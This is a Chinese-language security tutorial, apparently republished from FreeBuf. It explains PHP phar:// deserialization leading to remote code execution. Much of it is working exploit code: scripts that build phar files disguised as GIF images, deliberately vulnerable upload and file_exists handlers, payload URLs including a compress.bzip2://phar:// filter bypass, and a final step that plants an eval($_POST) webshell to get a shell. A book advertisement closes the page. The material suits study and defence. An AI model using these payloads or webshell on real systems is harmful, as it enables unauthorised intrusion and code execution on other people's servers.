内容简介:2018年HITCON上,baby cake这一题,涉及到了今年BlackHat大会上的Sam Thomas分享的File Operation Induced Unserialization via the「phar://」Stream Wrapper这个议题,具体可以看这里【因为在
*本文原创作者:cck,本文属FreeBuf原创奖励计划,未经许可禁止转载
前言
近些阵子反序列化漏洞横行,看了几篇文章,整个漏洞发现过程是非常有意思的,所以希望总结下来,分享给大家一起研究讨论,如有不足还请多多指正。
正文
phar RCE
2018年HITCON上,baby cake这一题,涉及到了今年BlackHat大会上的Sam Thomas分享的File Operation Induced Unserialization via the「phar://」Stream Wrapper这个议题,具体可以看这里【 传送门 】。它的主要内容是,通过phar://协议对一个phar文件进行文件操作,如file_get_contents,就可以触发反序列化,从而达成RCE的效果。
因为在 phar.c#L618 处,其调用了 php_var_unserialize:
if (!php_var_unserialize(metadata, &p, p + zip_metadata_len, &var_hash)) {
因此可以构造一个特殊的phar包,使得代码能够被反序列化,从而构造一个POP链。这一部分已经常见了,在使用phar://协议读取文件时,文件会被解析成phar( http://php.net/manual/zh/intro.phar.php )
解析过程中会触发php_var_unserialize()函数对meta-data的操作,造成反序列化。
延伸
知道创宇 404 实验室的研究员 seaii 更为我们指出了所有文件函数均可使用( https://paper.seebug.org/680/ ):
fileatime / filectime / filemtimestat / fileinode / fileowner / filegroup / filepermsfile / file_get_contents / readfile / `fopen``file_exists / is_dir / is_executable / is_file / is_link / is_readable / is_writeable / is_writableparse_ini_fileunlink copy
在 zsx 师傅的文章又通过 php_stream_open_wrapper 方法的调用函数中,探索出一些新的可用函数!
exif
exif_thumbnailexif_imagetype
gd
imageloadfontimagecreatefrom***
hash
hash_hmac_filehash_filehash_update_filemd5_filesha1_file
file / url
get_meta_tagsget_headers
standard
getimagesizegetimagesizefromstring
zip
$zip = new ZipArchive(); $res = $zip->open('c.zip'); $zip->extractTo('phar://test.phar/test');
Bzip / Gzip
如果 phar://不能出现在头几个字符怎么办?
demo.php?filename=compress.bzip2://phar://upload_file/shell.gif/a
验证
代码
<?php error_reporting(0); $filename=$_GET['filename']; if (preg_match("/\bphar\b/A", $filename)) { echo "stop hacking!\n"; } else { class comrare { public $haha = 'haha'; function __wakeup() { eval($this->haha); } } imagecreatefromjpeg($_GET['filename']); } ?>
poc 验证
<?php class comrare { public $haha = 'comrarezzzzz'; } @unlink('shell.phar'); $phar = new Phar("shell.phar"); //后缀名必须为 phar $phar->startBuffering(); $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); $object = new comrare(); //$object ->haha= 'eval(@$_POST[\'a\']);'; $object ->haha= 'phpinfo();'; $phar->setMetadata($object); //将自定义的 meta-data 存入 manifest $phar->addFromString("a", "a"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>
这个 poc 同时绕过了 gif 限制和 phar 开头限制,同样我们可以 getshell 成功!
测试
首先我们自己生成一个 phar 文件来观察它的结构,php 内置了一个 Phar 类来处理相关操作!
操作前请注意: 要将 php.ini 中的 phar.readonly 选项设置为 Off,否则无法生成 phar 文件。
<?php class TestObject { } $phar = new Phar("phar.phar"); //后缀名必须为 phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置 stub $o = new TestObject(); $o -> data='cck'; $phar->setMetadata($o); //将自定义的 meta-data 存入 manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>
运行后会生成一个 phar 文件在当前目录
我们观察下它的文件结构
可以明显的看到 meta-data 是以序列化的形式存储的。
有序列化数据必然会有反序列化操作,php 大部分的文件系统函数在通过 phar://伪协议解析 phar 文件时,都会将 meta-data 进行反序列化!
漏洞 php
<?php class TestObject{ function __destruct() { echo $this -> data; // TODO: Implement __destruct() method. } } include('phar://phar.phar'); ?>
将 phar 伪造成其他格式的文件
在前面分析 phar 的文件结构时可能会注意到,php 识别 phar 文件是通过其文件头的 stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将 phar 文件伪装成其他格式的文件。
伪造 gif 文件代码:
<?php class TestObject { } $phar = new Phar('phar.phar'); $phar -> startBuffering(); $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置 stub,增加 gif 文件头 $phar ->addFromString('test.txt','test'); //添加要压缩的文件 $object = new TestObject(); $object -> data = 'cck'; $phar -> setMetadata($object); //将自定义 meta-data 存入 manifest $phar -> stopBuffering(); ?>
file phar.phar 如下
这种方法可以用于上传检测!
利用
在别人复现的基础上实现了 RCE
条件
phar 文件要能够上传到服务器端。
如 file_exists(),fopen(),file_get_contents(),file() 等文件操作的函数
要有可用的魔术方法作为「跳板」。
文件操作函数的参数可控,且:、/、phar 等特殊字符没有被过滤。
环境文件
upload_file.php,后端检测文件上传,文件类型是否为 gif,文件后缀名是否为 gif
upload_file.html 文件上传表单
file_un.php 存在 file_exists(),并且存在__destruct()
文件内容
upload_file.php
<?php if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') { echo "Upload: " . $_FILES["file"]["name"]; echo "Type: " . $_FILES["file"]["type"]; echo "Temp file: " . $_FILES["file"]["tmp_name"]; if (file_exists("upload_file/" . $_FILES["file"]["name"])) { echo $_FILES["file"]["name"] . " already exists. "; } else { move_uploaded_file($_FILES["file"]["tmp_name"], "upload_file/" .$_FILES["file"]["name"]); echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"]; } } else { echo "Invalid file,you can only upload gif"; }
upload_file.html
<body> <form action="http://localhost/upload_file.php" method="post" enctype="multipart/form-data"> <input type="file" name="file" /> <input type="submit" name="Upload" /> </form> </body>
file_un.php
<?php $filename=$_GET['filename']; class AnyClass{ var $output = 'echo "cck";'; function __destruct() { eval($this -> output); } } file_exists($filename);
实现流程
首先是根据 file_un.php 写一个生成 phar 的 php 文件,当然需要绕过 gif,所以需要加 GIF89a,然后我们访问这个 php 文件后,生成了 phar.phar,修改后缀为 gif,上传到服务器,然后利用 file_exists,使用 phar://执行代码
构造代码
首先用 eval.php 生成执行 phpinfo 的文件
<?php class AnyClass{ var $output = 'echo "cck";'; function __destruct() { eval($this -> output); } } $phar = new Phar('phar.phar'); $phar -> stopBuffering(); $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); $phar -> addFromString('test.txt','test'); $object = new AnyClass(); $object -> output= 'phpinfo();'; $phar -> setMetadata($object); $phar -> stopBuffering();
访问 eval.php,会在当前目录生成 phar.phar,然后修改后缀 gif
上传成功,获得上传目录
然后利用 file_un.php。
payload:filename=phar://upload_file/phar.gif
执行 phpinfo 成功!
RCE
既然代码能执行成功,又存在命令执行函数,我们就可以实现 RCE 获得 shell! 我们尝试上传一句话木马,修改后的文件如下:
<?php class AnyClass{ var $output = 'echo "cck";'; function __destruct() { eval($this -> output); } } $phar = new Phar('phar.phar'); $phar -> stopBuffering(); $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); $phar -> addFromString('test.txt','test'); $object = new AnyClass(); $object -> output= 'eval(@$_POST[\'a\']);'; //$object -> output= 'phpinfo();'; $phar -> setMetadata($object); $phar -> stopBuffering(); ?>
同样的步骤上传,尝试连接,成功 getshell!
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
ASP.NET 2.0开发指南
郝刚 / 人民邮电出版社 / 2006 / 88.0
本书紧紧围绕ASP.NET 2.0技术精髓展开深入讲解,全书分为6个部分,共18章。第1部分介绍基础知识,包括ASP.NET 2.0概述、Visual Studio 2005集成开发环境、创建ASP.NET应用程序和C# 2.0程序设计基础。第2部分讲解用户界面方面的特性,包括母版页、主题和皮肤、站点导航控件和其他新增服务器控件。第3部分探讨了数据访问方面的内容,包括数据访问技术概述、数据源控件、......一起来看看 《ASP.NET 2.0开发指南》 这本书的介绍吧!